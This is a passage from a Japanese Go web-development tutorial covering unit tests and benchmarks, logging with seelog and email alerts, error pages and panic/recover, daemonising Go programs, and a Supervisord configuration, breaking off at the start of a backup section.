exit status 1
FAIL    gotest  0.013s

この結果が示すようにテストをパスしないのは、2つ目のテスト関数でテストが通らないコードt.Errorを書いていたからです。では1つ目の関数が実行した状況はどうでしょうか？デフォルトではgo testを実行するとテストがパスする情報は表示されません。go test -vというオプションを追加する必要があります。このようにすると以下の情報が表示されます：

=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
    gotest_test.go:11: 1つ目のテストがパス
=== RUN Test_Division_2
--- FAIL: Test_Division_2 (0.00 seconds)
    gotest_test.go:16: パスしません
FAIL
exit status 1
FAIL    gotest  0.012s

上の出力はこのテストのプロセスを詳細に表示しています。テスト関数1Test_Division_1ではテストが通りました。しかし関数2Test_Division_2のテストは失敗しました。最後にテストが通らないという結論を得ました。以降ではテスト関数2を以下のようなコードに修正します：

func Test_Division_2(t *testing.T) {
    if _, e := Division(6, 0); e == nil { //try a unit test on function
        t.Error("Division did not work as expected.") // 予期したものでなければエラーを発生
    } else {
        t.Log("one test passed.", e) //記録したい情報を記録
    }
}

その後go test -vを実行すると以下のような情報を表示してテストがパスします：

=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
    gotest_test.go:11: 1つ目のテストがパス
=== RUN Test_Division_2
--- PASS: Test_Division_2 (0.00 seconds)
    gotest_test.go:20: one test passed.　除数は0以外
PASS
ok      gotest  0.013s

どのようにして耐久テストを書くか

耐久テストは関数（メソッド）の性能を測るために用いられます。ここでは再掲しませんが、ユニットテストを書くのと同じようなものです。ただし以下のいくつかに注意しなければなりません：

耐久テストは以下のループの形式で行われなければなりません。この中でXXXは任意の英数字の組み合わせです。ただし、頭文字は小文字ではいけません。

func BenchmarkXXX(b *testing.B) { ... }

go testはデフォルトで耐久テストの関数を実行しません。もし耐久テストを実行したい場合はオプション-test.benchを追加します。文法:-test.bench="test_name_regex"。例えばgo test -test.bench=".*"はすべての耐久テスト関数をテストすることを表します

耐久テストではテストが正常に実行されるよう、ループの中においてtesting.B.Nを使用することを覚えておいてください

ファイル名はかならず_test.goで終わります

以下ではwebbench_test.goという名前の耐久テストファイルを作成します。コードは以下の通り：

package gotest

import (
    "testing"
)

func Benchmark_Division(b *testing.B) {
    for i := 0; i < b.N; i++ { //use b.N for looping
        Division(4, 5)
    }
}

func Benchmark_TimeConsumingFunction(b *testing.B) {
    b.StopTimer() //调用该函数停止压力测试的时间计数

    //做一些初始化的工作,例如读取文件数据,数据库连接之类的,
    //这样这些时间不影响我们测试函数本身的性能

    b.StartTimer() //重新开始时间
    for i := 0; i < b.N; i++ {
        Division(4, 5)
    }
}

go test -file webbench_test.go -test.bench=".*"というコマンドを実行すると、以下のような結果が現れます：

PASS
Benchmark_Division  500000000            7.76 ns/op
Benchmark_TimeConsumingFunction 500000000            7.80 ns/op
ok      gotest  9.364s

上の結果は我々がどのようなTestXXXなユニットテスト関数も実行していないことを示しています。表示される結果は耐久テスト関数のみを実行しただけです。第一行にはBenchmark_Divisionが500000000回実行され示し、毎回の実行が平均で7.76ミリ秒であったことを示しています。第二行はBenchmark_TimeConsumingFunctinが500000000回実行され、毎回の平均実行時間が7.80ミリ秒であったことを示しています。最後の1行は全体の実行時間を示しています。

まとめ

上のユニットテストと耐久テストの学習を通じて、testingパッケージが非常に軽量で、ユニットテストと耐久テストを書くのは非常に簡単であるとわかりました。ビルトインのgo testコマンドを組み合わせることで、非常に便利にテストを行うことができます。このように我々が毎回コードを修正し終わる度に、go testを実行するだけで簡単に回帰テストを行うことができます。

Generated by md2min

11.4 まとめ

この章では3つの節に分けてGo言語においてどのようにエラーを処理するか、どのようにエラー処理を設計するかをご紹介しました。第二節ではどのようにしてGDBを使ってプログラムをデバッグするかご紹介しました。GDBを使うことで我々は簡単にステップ実行、変数の表示、変数の修正、実行過程の出力等を行うことができます。最後にどのようにしてGo言語がはじめから持っている軽量なフレームワークtestingを利用してユニットテストと耐久テストを書くかについてご紹介しました。go testを使用することで便利にこれらのテストを行うことができ、将来のコードがアップグレードされ、修正された後でも簡単に回帰テストを行うことができます。この章はあなたがプログラムのロジックを書くことに対して何の助けにもならなかったかもしれません。しかし、あなたが書いたプログラムコードの質を高く保つには非常に重要です。なぜならよくできたWebアプリケーションは必ずよくできたエラー処理メカニズム(エラーの表示がユーザフレンドリーで拡張性がある)を持っているからです。ユーザフレンドリーなユニットテストと耐久テストは実運用が開始された後のコードが良い性能を保ち、予定通り実行されることを保証してくれます。

Generated by md2min

12 デプロイとメンテナンス

目次

現在までのところ、我々はどのようにプログラムを開発するかご紹介しました。プログラムのデバッグとテストには開発の最後の10%は90%の時間を必要とすると言われます。ですから、この章では最後の10%の部分を強調して、信用と使用に足る優秀なアプリケーションになるよう細部を考慮する必要があります。上の10%はこれらの細部を指しています。

この章では４つの節によってこれらの細部の処理をご紹介します。第一節ではサーバでプログラムが生成するログをどのように記録するかご紹介します。第二節ではエラーが発生した時に我々のプログラムがどのように処理されるかと、ユーザのアクセスに与える影響をなるべく少なくするにはどうすべきかご紹介します。第三節ではGoの独立したプログラムをどのようにデプロイするかご紹介します。現在GoプログラムはまだCのようにdaemonを書くことができません。ではこれらのプロセスとプログラムのバックエンドをどのように実行すべきでしょうか？第四節ではアプリケーションデータのバックアップとリストアをご紹介します。アプリケーションが壊れた状況でなるべくデータの完全性を保証します。

目次

Generated by md2min

12.1 アプリケーションログ

seelogのご紹介

seelogに基づいたカスタム定義のログ処理

エラーの発生によりメールを送信

アプリケーションログの使用

まとめ

我々は開発しているWebアプリケーションプログラムにプログラム全体の実行過程において発生する様々なイベントを一つ一つ記録できるようにしたいと望んでいます。Go言語では簡易のlogパッケージを提供しています。このパッケージを使用することで簡単にログを記録する機能を実装することができます。これらのログはどれもfmtパッケージの出力とpanicといった関数を組み合わせることで普段の出力、エラーの発生といった処理を行なっています。Goの標準パッケージは現在簡単な機能のみを含んでいます。もし我々のアプリケーションログをファイルに保存し、ログと組み合わせてより複雑な機能（JavaまたはC++の開発経験のある読者はlog4jとlog4cppといったログツールを使ったことがあると思います）を実装したい場合、サードパーティが開発したログシステムを使用することができます。https://github.com/cihub/seelog。これは非常に強力なログ機能を実現しています。以降ではこのログシステムを使ってどのように我々のアプリケーションにログ機能を実装するかご紹介します。

seelogのご紹介

seelogはGo言語で実装されたログシステムのひとつです。これは複雑なログの割り当て、フィルタリングとフォーマッティングを実現する簡単な関数を提供します。主に以下の特徴があります：

XMLの動的な変更、プログラムを再コンパイルすることなく動的にデータを変更することができます。

ホットアップデート。動的に再起動する必要なく設定を変更することができます。

マルチ出力ストリームのサポート。同時にログを複数のストリームに出力することができます。たとえばファイルストリーム、ネットワークストリーム等

異なるログの出力のサポート

コマンドライン出力

ファイル出力

キャッシュ出力

log rotateのサポート

SMTPメール

上では特徴のいくつかを列挙しただけです。seelogは非常に強力なログ処理システムです。詳細はオフィシャルのwikiをご参照ください。以降ではどのようにしてプロジェクトにおいてこれを利用するのか簡単にご紹介します：

まずseelogをインストールします

go get -u github.com/cihub/seelog

次に簡単な例を見てみます：

package main

import log "github.com/cihub/seelog"

func main() {
    defer log.Flush()
    log.Info("Hello from Seelog!")
}

コンパイルして実行するとHello from seelogという出力がでます。seelogログシステムのインストールに成功して、正常に実行されています。

seelogに基づいたカスタム定義のログ処理

seelogはカスタムなログ処理の定義をサポートしています。以下はカスタムに定義されたログ処理パッケージの一部の内容にもとづいています：

package logs

import (
    "errors"
    "fmt"
    seelog "github.com/cihub/seelog"
    "io"
)

var Logger seelog.LoggerInterface

func loadAppConfig() {
    appConfig := `
<seelog minlevel="warn">
    <outputs formatid="common">
        <rollingfile type="size" filename="/data/logs/roll.log" maxsize="100000" maxrolls="5"/>
        <filter levels="critical">
            <file path="/data/logs/critical.log" formatid="critical"/>
            <smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword">
                <recipient address="xiemengjun@gmail.com"/>
            </smtp>
        </filter>
    </outputs>
    <formats>
        <format id="common" format="%Date/%Time [%LEV] %Msg%n" />
        <format id="critical" format="%File %FullPath %Func %Msg%n" />
        <format id="criticalemail" format="Critical error on our server!\n    %Time %Date %RelFile %Func %Msg \nSent by Seelog"/>
    </formats>
</seelog>
`
    logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig))
    if err != nil {
        fmt.Println(err)
        return
    }
    UseLogger(logger)
}

func init() {
    DisableLog()
    loadAppConfig()
}

// DisableLog disables all library log output
func DisableLog() {
    Logger = seelog.Disabled
}

// UseLogger uses a specified seelog.LoggerInterface to output library log.
// Use this func if you are using Seelog logging system in your app.
func UseLogger(newLogger seelog.LoggerInterface) {
    Logger = newLogger
}

上は主に３つの関数を実装しています、

DisableLog

グローバル変数Loggerをseelogを使用しない状態に初期化します。主にLoggerが複数回初期化されないよう防止するためです。

loadAppConfig

設定ファイルが初期化したseelogの設定情報にもとづいて、設定ファイルを文字列を通して読み取り設定します。当然XMLファイルを読み取ってもかまいません。中の設定の説明は以下の通り：

seelog

minlevelパラメータはオプションです。もし設定されていれば、このレベルと同じかそれ以上のログが記録されます。maxlevelと同じです。

outputs

データの出力先です。ここでは２つのデータにわけます。ひとつはlog rotateファイルに記録され、もうひとつはfilterを設定します。もしエラーレベルがcriticalであれば、エラーメールを送信します。

formats

各種ログフォーマットを定義します

UseLogger

現在のロガーを対応するログ処理に設定します

上ではカスタムにログ処理パッケージを定義しています。以下は使用例です：

package main

import (
    "net/http"
    "project/logs"
    "project/configs"
    "project/routes"
)

func main() {
    addr, _ := configs.MainConfig.String("server", "addr")
    logs.Logger.Info("Start server at:%v", addr)
    err := http.ListenAndServe(addr, routes.NewMux())
    logs.Logger.Critical("Server err:%v", err)
}

エラーの発生によりメールを送信

上の例ではどのようにメールの送信を設定するか説明しています。以下のようなsmtp設定によってメールを送信します：

<smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword">
    <recipient address="xiemengjun@gmail.com"/>
</smtp>

メールのフォーマットはcriticalemail設定とその他のSMTPサーバの設定によって設定されます。recipient設定でメールの送信先を設定します。もし複数のユーザがいる場合はもう一行追加することができます。

このコードが正しく動作するかテストする場合、コードに以下のような偽の情報を追加することが可能です。しかし後に削除することを忘れないようにしてください、さもなければ、実運用で沢山のスパムメールを受け取ることになります。

logs.Logger.Critical("test Critical message")

現在、我々のアプリケーションが実運用でCriticalな情報を一つ記録すると、あなたのメールボックスにEmailが届きます。このように一旦実運用されたシステムに問題が発生するとすぐにメールの受信ができ、その時に処理を実行することができます。

アプリケーションログの使用

アプリケーションログに対しては人によってアプリケーションのバックグラウンドが異なる可能性があります。一部の人はアプリケーションログを使ってデータ分析を行うかもしれませんし、ある人はアプリケーションログを使って性能を分析するかもしれません。またある人はユーザの行動分析を行うかもしれませんし、アプリケーションに問題が発生した際問題を見つけやすくするために、純粋に記録を行いたいだけの場合もあります。

一つ例を挙げましょう。ユーザがシステムにログインしようとする操作を追跡したいとします。ここでは成功と失敗の試みがすべて記録されています。成功のログは“Info”ログレベルが使用され、失敗には“warn”レベルが使用されます。もしすべてのログイン失敗記録を探したい場合、linuxのgrepといったコマンドツールを使って以下のようにすることができます：

# cat /data/logs/roll.log | grep "failed login"
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password

このような方法によって簡単に対応する情報を探し出すことができます。これにはアプリケーションログに対して統計と分析を行えるという利点があります。また、ログのサイズを考慮する必要もあります。高トラフィックのWebアプリケーションにとって、ログの増加は恐るべきものです。そのため、seelogの設定ファイルでlogrotateを設定することで、ログファイルが絶え間なく増大し我々のディスクスペースが足りなくなるといった問題を引き起こさないよう保証することができます。

まとめ

上のseelogシステムとこれに基づいてどのようにログシステムを定義するかを学ぶことによって、非常に気軽に強力で適切な機能を持つログシステムを作成できることができました。ログシステムはデータ分析に信用できるデータソースを提供します。例えばログの分析を通して、システムをより一歩改善することができますし、アプリケーションに問題が発生した時に問題の位置を特定しやすくなります。また、seelogはログのレベル分け機能もサポートしています。minlevelの設定によって簡単にテストや配布版の出力情報のレベルを設定することができます。

Generated by md2min

12.2 サイトエラー処理

エラー処理の目標

どのようにエラーを処理するか

どのように例外を処理するか

まとめ

我々のWebアプリケーションが一旦実運用されると、さまざまなエラーが発生する可能性があります。Webアプリケーションの日常の実行ではいくつものエラーが発生する可能性があります。具体的には以下のとおり：

データベースエラー：データベースサーバへのアクセスまたはデータと関係のあるエラーです。例えば、以下は何らかのデータベースエラーを発生させることがあります。

接続エラー：このエラーはデータベースサーバのネットワークが切断された時や、ユーザ名とパスワードが不正だった場合、またはデータベースが存在しない場合に発生することがあります。

検索エラー：使用されたSQLが正しく無く、エラーが発生する場合です。このようなSQLエラーはもしプログラムに厳格なテストを行うことで回避できます。

データエラー：データベースの約束が衝突する場合。例えば一つしかないフィールドに複数の主キーを持つデータが挿入されるとエラーを発生させます。しかし、あなたのアプリケーションプログラムが運用される前に厳格なテストを行うことでこれらの問題を回避することもできます。

アプリケーション実行時のエラー：これらのエラーの範囲は非常に広く、コードの中で出現するほとんどすべてのエラーをカバーしています。ありえるアプリケーションエラーは以下のような状況です：

ファイルシステムとパーミッション：アプリケーションが存在しないファイルを読み込むか、権限の無いファイルを読むか、書き込む事を許されていないファイルに書き込みを行うといったこれらの行為は全てエラーを発生させます。もしアプリケーションが読み込むファイルのフォーマットが正しくなかった場合もエラーを発生させます。例えば設定ファイルがiniの設定フォーマットでなければならないのに、json形式で設定されているとエラーを発生させます。

サードパーティアプリケーション：もし我々のアプリケーションプログラムを他のサードパーティのインターフェースプログラムと組み合わせる場合、例えばアプリケーションプログラムがテキストを出力し、自動的にマイクロブログのインターフェースをコールすると、このインターフェースは正常に実行されなければ我々のテキストを出力する機能は実現することができません。

HTTPエラー：これらのエラーはユーザのリクエストによって発生するエラーです。もっともよく見かけるのは404エラーです。その他にも多くのエラーが発生することはあるとしても、他によく見かけるエラーには401無許可エラー（認証によってアクセスできるリソース）、403アクセス拒否エラー（ユーザがリソースにアクセスするのを拒否）と503エラー（プログラムの内部エラー）です。

オペレーティングシステムエラー：これらのエラーはすべてアプリケーション上のオペレーティングシステムによって発生するものです。主にオペレーティングシステムのリソースが分配されたり、フリーズを引き起こしたり、オペレーティングシステムのハードディスクをいっぱいにして書き込みができなくなったりと、多くのエラーを引き起こします。

ネットワークエラー：これは2つのエラーを示します。ひとつはユーザがアプリケーションにリクエストを行う場合ネットワークが切れてしまうもので、ネットワークの接続が中断されてしまいます。これらのエラーはアプリケーションの崩壊こそ招きませんが、ユーザのアクセス効果に影響を及ぼします。もうひとつはアプリケーションプログラムがほかのネットワーク上のデータを読み込み、その他のネットワークが切断することで読み込みに失敗するものです。これらはアプリケーション・プログラムに有効なテストを施すことで、これらの問題が発生する状況でアプリケーションが崩壊することを防ぐことができます。

エラー処理の目標

エラー処理を実装する前に、エラー処理が目指す目標が何かを明確にすべきです。エラー処理システムは以下のような作業のもと行います：

アクセスしたユーザにエラーの発生を通知する：発生したのがシステムエラーであれユーザのエラーであれ、ユーザはWebアプリケーションに問題が発生しユーザの今回のリクエストが正常に完了しなかったたことを知る必要があります。例えば、ユーザのエラーリクエストに対して、我々は共通のエラー画面(404.html)を表示します。システムエラーが発生した場合は、カスタム定義されたエラー画面によってシステムがしばらく使用できないといった類のエラー画面(error.html)を表示させます。

ログエラー：システムにエラーが発生、つまり一般的には関数をコールする際に返されるerrがnilではない状況において、前の節でご紹介したログシステムを使用することによりログファイルに記録することができます。例えば、クリティカルなエラーだったとすると、メールによってシステム管理者に通知します。404といったエラーでは普通メールを送信するようなことは必要ありませんが、ログシステムに記録する必要があります。

現在のリクエスト操作をロールバックする：あるユーザのリクエスト中にサーバエラーが発生しました。すでに完了している操作をロールバックする必要があります。ここではひとつ例をあげましょう：あるシステムがユーザの送信したフォームをデータベースに保存し、このデータをサードパーティのサーバに送信するとします。ただし、サードパーティのサーバが死んでエラーを発生させたとすると事前にデータベースに保存されたフォームデータは削除されなければならず（アナウンスメントは無効にならなければなりません）、ユーザのシステムにエラーが発生したことを通知しなければなりません。

現在のプログラムが実行可能でサービスできることを保証する：プログラムがかならず常に正常に実行されることを保証できる人間は居ない事を我々は知っています。万が一いつの日かプログラムがぶっ壊れてしまったら、エラーを記録しなければなりません。その後すぐにプログラムを再起動して、プログラムにサービスを提供させつづけます。その後システム管理者に通知を行い、ログ等を通じて問題を探し出します。

どのようにエラーを処理するか

エラー処理は実は我々も第十一章の第一節でどのようにエラー処理を設計するかご紹介しました。ここではまたひとつの例から詳細にご解説します。どのように異なるエラーを処理するのでしょうか：

ユーザにエラーが発生したことを通知する：

ユーザがページにアクセスした時はふたつのエラーがあります：404.htmlとerror.htmlです。以下はそれぞれエラーページを表示するソースです：

<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>ページが見つかりません</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

</head>
<body>
<div class="container">
    <div class="row">
        <div class="span10">
            <div class="hero-unit">
                <h1>404!</h1>
                <p>{{.ErrorInfo}}</p>
            </div>
        </div><!--/span-->
    </div>
</div>
</body>
</html>

もうひとつのソース：

<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>システムエラーページ</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

</head>
<body>
<div class="container">
    <div class="row">
        <div class="span10">
            <div class="hero-unit">
                <h1>システムはしばらく使用できません！</h1>
                <p>{{.ErrorInfo}}</p>
            </div>
        </div><!--/span-->
    </div>
</div>
</body>
</html>

404のエラー処理ロジック、もしシステムのエラーだった場合もにたような操作になります。以下を見てみましょう：

func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == "/" {
        sayhelloName(w, r)
        return
    }
    NotFound404(w, r)
    return
}

func NotFound404(w http.ResponseWriter, r *http.Request) {
    log.Error("ページが見つかりません")   //エラーログに記録
    t, _ = t.ParseFiles("tmpl/404.html", nil)  //テンプレートファイルを解析
    ErrorInfo := "ファイルが見つかりません" //現在のユーザ情報を取得
    t.Execute(w, ErrorInfo)  //テンプレートのmerger操作を実行
}

func SystemError(w http.ResponseWriter, r *http.Request) {
    log.Critical("システムエラー")   //システムエラーはクリティカルですので、ログに記録するだけでなくメールを送信します。
    t, _ = t.ParseFiles("tmpl/error.html", nil)  //テンプレートファイルを解析
    ErrorInfo := "システムは現在ご利用できません" //現在のユーザ情報を取得
    t.Execute(w, ErrorInfo)  //テンプレートのmerger操作を実行
}

どのように例外を処理するか

多くの他の言語の中にはtry..catchキーワードがあることをご存知だと思います。例外をキャッチするために使う状況ですが、そもそもエラーの多くはあらかじめ発生が予測できるものばかりで、例外処理を行う必要はありません。エラーによって処理しなければならないのも、Go言語が関数にエラーを返させる設計になっているためです。これはpanicになりません。もしあなたが切れたネットワーク接続に対してデータを書き込む場合、net.ConnシリーズのWrite関数がエラーを返します。これらはpanicになりません。これらの状態はこのようなプログラムにおいて予測できるものです。あなたがこれらの操作が失敗しうると知っているのは、設計者がエラーを返す事で明確にこれを表明しているからです。これが上で述べた発生が予測可能なエラーです。

しかしまた別の状況もあります。ある操作がほとんど失敗せず、ある特定の状況下においてエラーを返すこともできず、継続して実行することもできない場合、panicになります。例をあげましょう：もしあるプログラムがx[j]を計算したところjが範囲を超えてしまった場合、この部分のコードはpanicを引き起こします。このように予測できない重大なエラーがpanicを引き起こします。デフォルトではこれはプロセスを殺します。これは現在実行されているこのコードのgoroutineがエラーを発生させたpanicから復帰することを許します。これはGoがわざとこのように設計しており、エラーと例外を区別するためです。panicは実は例外処理なのです。以下のコードでは、uidによってUserのusername情報を取得することを期待していますが、uidが範囲を超えてしまうと例外を発生させます。この時もしrecoverメカニズムがなければ、プロセスが殺され、それによってプログラムがサービス不能に陥ります。ですから、プログラムの健全性を保つため、いくつかの場所ではrecoverメカニズムを作る必要があります。

func GetUser(uid int) (username string) {
    defer func() {
        if x := recover(); x != nil {
            username = ""
        }
    }()

    username = User[uid]
    return
}

上ではエラーと例外の区別をご紹介しました。我々がプログラムを開発する時はどのように設計すべきでしょうか？ルールは非常に簡単です：もしあなたが定義した関数が失敗する可能性があるなら、エラーを返さなければなりません。他のpackageの関数をコールする時、もしこの関数の実装がとてもよい場合、panicの心配をする必要もありません。本当に例外を発生させなければならない状況ではないのに発生させてしまっているにしても、私がこれを処理するいわれはないはずです。panicとrecoverは自分が開発したpackageで実装されたロジックや、特殊な状況に対して設計されます。

まとめ

この節では我々のWebアプリケーションをデプロイした後どのようにして各種のエラーを処理するかについてまとめました：ネットワークエラー、データベースエラー、オペレーティングシステムのエラー等、エラーが発生した際、我々のプログラムはどのようにして正しく処理するのでしょうか：ユーザフレンドリーなエラーインターフェースを表示し、操作をロールバックし、ログを記録し、管理者に通知するといった操作を行います。最後にどのようにしてエラーと例外を正しく処理するかについてご紹介しました。一般的なプログラムにおいてはエラーと例外はよく混同されます。しかし、Goではエラーと例外は常に明確な区別がなされます。そのため、我々がプログラムを設計するにあたってエラーと例外を処理する際はどのような原則に従うべきかについてご紹介しました。

Generated by md2min

12.3 アプリケーションのデプロイ

daemon

Supervisord

Supervisordのインストール

Supervisordの設定

Supervisordの管理

まとめ

プログラムの開発が完了したら、Webアプリケーションをデプロイする必要があります。しかし、これらのプログラムはどのようにしてデプロイするのでしょうか？Goプログラムがコンパイルされた後は実行可能なファイルになりますので、Cプログラムを書いたことのある読者であればおそらくdaemonを採用することで完璧にプログラムをバックグラウンドで継続して実行できることを知っておられると思います。しかし、現在Goは完全にdaemonを実現することはできません。そのため、Goのアプリケーションプログラムをデプロイするにあたって、サードパーティのツールを使って管理することができます。サードパーティのツールにはいくつかあります。たとえば、Supervisord、upstart、daemontools等です。この節では現在自分のシステムにおいて採用しているツール、Supervisordをご紹介したいと思います。

daemon

現在Goプログラムではdaemonを実装することはまだできません。このGo言語のbugについての詳細は: <http://code.google.com/p/go/issues/detail?id=227> をご参照ください。かいつまんで言うと現在使用しているプロセスにおいてforkすることはとても難しいということです。簡単にすでに使用されているすべてのプロセスの状態を一致させる方法がないためです。

しかし、多くのウェブサイトでdaemonを実装する方法について見ることができます。例えば以下の2つの方法です：

MarGoの実装思想の一つで、Commandを使用して自身のアプリケーションを実行します。もし本当に実装したい場合、このソリューションをおすすめします。

d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)")
if *d {
    cmd := exec.Command(os.Args[0],
        "-close-fds",
        "-addr", *addr,
        "-call", *call,
    )
    serr, err := cmd.StderrPipe()
    if err != nil {
        log.Fatalln(err)
    }
    err = cmd.Start()
    if err != nil {
        log.Fatalln(err)
    }
    s, err := ioutil.ReadAll(serr)
    s = bytes.TrimSpace(s)
    if bytes.HasPrefix(s, []byte("addr: ")) {
        fmt.Println(string(s))
        cmd.Process.Release()
    } else {
        log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
        cmd.Process.Kill()
    }
}

もう一つはsyscallを利用したソリューションです。しかしこのソリューションは完全ではありません：

package main

import (
    "log"
    "os"
    "syscall"
)

func daemon(nochdir, noclose int) int {
    var ret, ret2 uintptr
    var err uintptr

    darwin := syscall.OS == "darwin"

    // already a daemon
    if syscall.Getppid() == 1 {
        return 0
    }

    // fork off the parent process
    ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
    if err != 0 {
        return -1
    }

    // failure
    if ret2 < 0 {
        os.Exit(-1)
    }

    // handle exception for darwin
    if darwin && ret2 == 1 {
        ret = 0
    }

    // if we got a good PID, then we call exit the parent process.
    if ret > 0 {
        os.Exit(0)
    }

    /* Change the file mode mask */
    _ = syscall.Umask(0)

    // create a new SID for the child process
    s_ret, s_errno := syscall.Setsid()
    if s_errno != 0 {
        log.Printf("Error: syscall.Setsid errno: %d", s_errno)
    }
    if s_ret < 0 {
        return -1
    }

    if nochdir == 0 {
        os.Chdir("/")
    }

    if noclose == 0 {
        f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)
        if e == nil {
            fd := f.Fd()
            syscall.Dup2(fd, os.Stdin.Fd())
            syscall.Dup2(fd, os.Stdout.Fd())
            syscall.Dup2(fd, os.Stderr.Fd())
        }
    }

    return 0
}

上ではGoで実装する二種類のdaemonのソリューションをご紹介しました。しかし、このように皆さんが実装するのはやはりおすすめしません。なぜなら、オフィシャルではまだ正式にdaemonのサポートが宣言されていないからです。当然、一つめのソリューションは今のところまだマシに見えますし、実際現在オープンソースリポジトリskynetではこの方法によってdaemonを採用しています。

Supervisord

上ではGoが現在二種類のソリューションによってdaemonを実装していることをご紹介しました。しかしオフィシャルではまだサポートしていませんので、みなさんにおかれましてはサードパーティの成熟したツールを使って我々のアプリケーション・プログラムを管理することを提案します。supervisordはあなたが管理するアプリケーションプログラムをdaemonプログラムにする事を助け、コマンドを通して簡単にスタート、ストップ、リスタートといった操作を行うことができます。また、管理されているプロセスが一旦崩壊すると自動的に再起動を行うので、プログラムが実行中に中断した場合の自己修復機能を保証することができます。

私は前にアプリケーションで地雷を踏んだことがあります。全てのアプリケーション・プログラムがSupervisordの親プロセスから生成されているため、オペレーティングシステムのファイルディスクリプタを修正した時には忘れずにSupervisordを再起動してください。その下のアプリケーションを再起動しただけではダメです。当初私はOSをインストールしたらまずSupervisordをインストールし、プログラムのデプロイを行い、ファイルディスクリプタを修正して、プログラムを再起動していました。ファイルディスクリプタなんか100000個もあるだろうと思い込んでいたのです。実はSupervisordにはこの時デフォルトの1024個しか用意されていませんでした。結果管理されていたプログラムを含むファイルディスクリプタも全部で1024個しか無く、開放した途端圧力が一気に膨れ上がりOSがファイルディスクリプタを使い切った事でエラーを吐き始めたのです。長い時間をかけてやっとこの地雷を見つけました。

Supervisordのインストール

Supervisordはsudo easy_install supervisorでインストールすることができます。当然Supervisordのオフィシャルサイトでダウンロードし、解凍してソースコードのあるディレクトリでsetup.py installを実行してインストールすることもできます。

easy_installを使用する場合は必ずsetuptoolsをインストールする必要があります

http://pypi.python.org/pypi/setuptools#filesを開きます。あなたのシステムのpythonのバージョンに従って対応するファイルをダウンロードし、sh setuptoolsxxxx.eggを実行します。これによりeasy_installコマンドでSupervisordをインストールすることができます。

Supervisordの設定

Supervisordのデフォルトの設定ファイルのパスは/etc/supervisord.confです。テキストエディタを使ってこのファイルを修正します。以下は設定ファイルの例です：

;/etc/supervisord.conf
[unix_http_server]
file = /var/run/supervisord.sock
chmod = 0777
chown= root:root

[inet_http_server]
# Web管理インターフェース設定
port=9001
username = admin
password = yourpassword

[supervisorctl]
; 必ず'unix_http_server'の設定と合わせる必要があります。
serverurl = unix:///var/run/supervisord.sock

[supervisord]
logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log)
logfile_maxbytes=50MB       ; (max main logfile bytes b4 rotation;default 50MB)
logfile_backups=10          ; (num of main logfile rotation backups;default 10)
loglevel=info               ; (log level;default info; others: debug,warn,trace)
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
nodaemon=true              ; (start in foreground if true;default false)
minfds=1024                 ; (min. avail startup file descriptors;default 1024)
minprocs=200                ; (min. avail process descriptors;default 200)
user=root                 ; (default is current user, required if root)
childlogdir=/var/log/supervisord/            ; ('AUTO' child log dir, default $TEMP)

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface

; 管理する単一のプロセスの設定。いくつもprogramを追加することができます。
[program:blogdemon]
command=/data/blog/blogdemon
autostart = true
startsecs = 5
user = root
redirect_stderr = true
stdout_logfile = /var/log/supervisord/blogdemon.log

Supervisordの管理

Supervisordをインストールするとsupervisorとsupervisorctlという2つのコマンドが使えるようになります。以下ではコマンドの説明を行います：

supervisord、Supervisordを初期化し起動します。コンフィグの中で設定されたプロセスを起動、管理します。

supervisorctl stop programxxx、プロセス(programxxx)を停止します。programxxxは[program:blogdemon]の中で設定された値です。この例ではblogdemonになります。

supervisorctl start programxxx、プロセスを起動します。

supervisorctl restart programxxx、プロセスを再起動します。

supervisorctl stop all、すべてのプロセスを停止します。注：start、restart、stopは最新の設定ファイルを読み込みません。

supervisorctl reload、最新の設定ファイルを読み込み、新しい設定に沿ってすべてのプロセスを起動、管理します。

まとめ

この節ではGoがどのようにdaemon化を実現しているのかについてご紹介しました。ただ現在Goのdaemon実装は不足しており、サードパーティのツールによるアプリケーションプログラムのdaemon管理を行う方法に頼る必要があります。そのためここではpythonで書かれたプロセス管理ツールSupervisordをご紹介しました。Supervisordを使って簡単にGoアプリケーションプログラムを管理することができます。

Generated by md2min

12.4 バックアップとリストア

アプリケーションのバックアップ

rsyncのインストール

rsyncの設定

MySQLのバックアップ

MySQLのリストア

redisのバックアップ

redisのリストア

まとめ

この節ではアプリケーションプログラムを管理するもうひとつの側面について討論したいとおもいます：サーバ上で生成されたデータのバックアップとリストアについてです。サーバのネットワークが切断されたり、ハードディスクが壊れたり、OSが崩壊したり、データベースが使用できなくなったりという各種以上な状態はよく発生します。そのため、メンテナはサーバ上で発生したアプリケーションとデータに対しリモート障害時のリカバリ、コールドスタンドバイやホットスタンドバイといった準備をする必要があります。以下のご紹介において、どのようにアプリケーションのバックアップを行うか、Mysqlデータベースおよびredisデータベースのバックアップ/リストアについてご説明します。

アプリケーションのバックアップ

